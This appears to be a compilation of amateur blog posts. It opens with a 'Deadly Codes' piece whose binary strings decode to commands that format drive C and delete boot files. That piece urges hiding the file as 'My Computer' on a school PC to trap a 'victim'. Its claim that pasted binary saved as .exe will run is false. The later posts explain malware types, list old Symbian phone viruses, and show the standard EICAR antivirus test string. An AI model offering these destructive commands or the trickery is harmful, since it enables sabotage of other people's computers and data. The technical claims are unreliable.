Deadly Codes for Computer

1. Paste it in a notepad file.
2. Save the file as 'whateveryouwish.exe'
3. When you open it, the hard disk formats!!

01001011000111110010010101010101010000011111100000

You can keep this file in your school's computer in a far-off folder. At first rename it and send a shortcut to desktop. Now hide the original file. Change the icon of the shortcut to that of My computer and rename it as 'My Computer' and delete the original 'My computer'. When someone tries to open it....tada!!

If you are unable to format C drive when the victim's PC is running, then you can use the following line of code:

01100110011011110111001001101101011000010111010000
100000011000110011101001011100
0010000000101111010100010010111101011000

It's extremely cool.

How about making the computer not to boot in the first place?? Then use this code:

01100100011001010110110000100000001011110100011000
101111010100110010111101010001
00100000011000110011101001011100011000100110111101
101111011101000010111001101001
0110111001101001

You will be astounded at the result when someone tries to restart the PC!

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Are Virus, Worms, Trojan and Spyware all the same?

We all have heard the terms Virus, Worms, Trojans and Spyware but only a few of us know the difference between them.
We generally consider everything that is detected by an antivirus as virus, but this is not the case.The antivirus not only provides protection against viruses but it also protects us from Trojans, Worms and Spywares. All these can be harmful to your computer hardware and software. Today I will differentiate all these terms from each other.

1.Virus: A virus is a self replicating program that attaches itself to an executable file. When the file is executed the virus automatically gets executed and enters into system memory. Once it enters into system memory it either searches for other files that can be infected or stays in the background and infects the files that uses the virus infected program.

2.Worms: Worms are very similar to viruses but differ in the way that they do not bind themselves to the executable files, instead to replicate themselves they use the network. If you find excessive use of your network bandwidth then you may be infected by a Worm. So, a Worm does not require a user to execute any file, for its execution it can work without user intervention.

3.Trojan Horse: A Trojan Horse is a harmful program which may seem harmless to the user before its installation, but instead it is programmed or reverse engineered to facilitate unauthorized remote access to the computer. Trojans do not replicate themselves.

4.Spyware: A Spyware is a program that secretly monitors and collects pieces of information. They usually run in stealth mode and cannot be detected easily. Keyloggers are great examples of Spyware softwares. There are not limited to just spying, but can also send data to remote computers.

Now here I'm providing you the list of most harmful Viruses and Worms in the history of computers:

• Storm Worm
• Leap-A/Oompa- A
• Sasser and Netsky
• MyDome (Novarg)
• SQL Slammer / Sapphire
• Nimda
• Code Red and Code Red II
• The Klez
• ILOVEYOU
• Melissa

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10 Dangerous Nokia Phone Viruses of 2012

Here are the most dangerous cell phone viruses for symbian based mobiles. Like Computer, cell phones are also using system that keeps the cell phone running in a proper way.

Cell phones are having a problem as well with viruses that attach their operating system. There are quite lot cell phone viruses. But here’s the most dangerous cell phone viruses for symbian based cell phone as one of the most popular operating system for cell phone. You have to keep away from it.

1. Cabir Virus

The target of this cell phone virus is Symbian s60v2 mobile phone. Cabir is a virus that spreads via a Bluetooth connection and come into your inbox with an interesting message. It won’t cause a fatal damage, but the battery of the cell phone will quickly run out because this virus periodically activates Bluetooth of the infected cell phone.

2. Skulls Virus

The target of this virus is symbian cell phone and spread via the internet. The damage resulted is the mobile phone cannot be used again except to call and receive calls.

3. CommWarrior Virus

The target of this virus is symbian s60v2 mobile phones. The Virus spread via Bluetooth and MMS. It will send replication through MMS to all numbers in contacts, so will make your mobile phone bill high.

4. Locknut Virus

The target of this virus is the symbian s60 mobile phone and spread through the internet download. Locknut E, one variant of this virus, will damage important files in a Symbian system and causes the infected application could not be opened. By using that way, step by step the cell phone will be locked totally by this virus.

5. Fontal Virus

The target of this virus is symbian s60 mobile phone and spread through internet download. This virus will lock the cell phone in stages. It will finally lock the phone since it was first turned on.

6. Rommwar Virus

The Targets of this virus is symbian s60 cell phone and its spread through Bluetooth, MMS, and internet. This virus cause the phone can’t do booting and often restart itself.

7. DoomBoot Virus

The target of this virus is symbian S60 cell phone and spread via Bluetooth. Doomboot make files become corrupted, and after infecting a file, it will put other viruses such as Commwarrior into the mobile phone. Damaged file will prevent the phone to do rebooting. In addition, this virus also causes the battery run out quickly due to constant use Bluetooth connection.

8. CardTrap Virus

The target of this virus is the symbian s60 mobile phone and Windows-based PC. It spread through the memory card and cause important applications become malfunctioned, the chaos system, and damage to the function of the keypad.

9. PBstealer Virus

The target of this virus is Symbian S60 cell phone and spread via Bluetooth. This virus will copy the necessary data in the mobile phone, for example, contacts, to-do lists, notes to the format. txt and then will be spread to other mobile phone, using Bluetooth.

10. AppDisabler

The target of this virus is symbian based mobile phone and spread through Bluetooth, MMS, and internet. This virus will install other dangerous viruses like Locknut, Cabir, Skulls, etc. Thus causing the entire operating system broken, you can say, this is the most dangerous viruses that never existed because they combine several types of viruses in once.

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How to check that your Antivirus is working or not?

Online and virus between  these two first one is friend and other is enemy to us. I mean i have Internet and i don't have any virus in my pc if i guess like that then its very soon my pc will go to service vendor. Do you know that maximum virus are coming from online rather than other services. So if you have Internet connection you must used antivirus in your pc. But everything is okay. You have pretty good strong antivirus protection and Internet connection as well - still something you are doubting that Am I protected 100% from virus ? You cant rely on antivirus so free. So what should you need to do ? Yes you are thinking now.

So may be you are tired on scanning on pc. You need to do something extra. Here i am telling you how to check that my pc antivirus is working?

1. To do this check you have to copy or write few words in your notepad. 

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

2. Then save it giving any name.

Now go to this file and check it with your currently installed antivirus. Do you see something? Yes if this file can catch by your antivirus as a potential harm then you can be 100% sure that your antivirus is working well.

Note: This is not any critical virus. Don't be worried about this file. This is a logic file of a virus. You can delete it or when you check by antivirus the file will automatically removed

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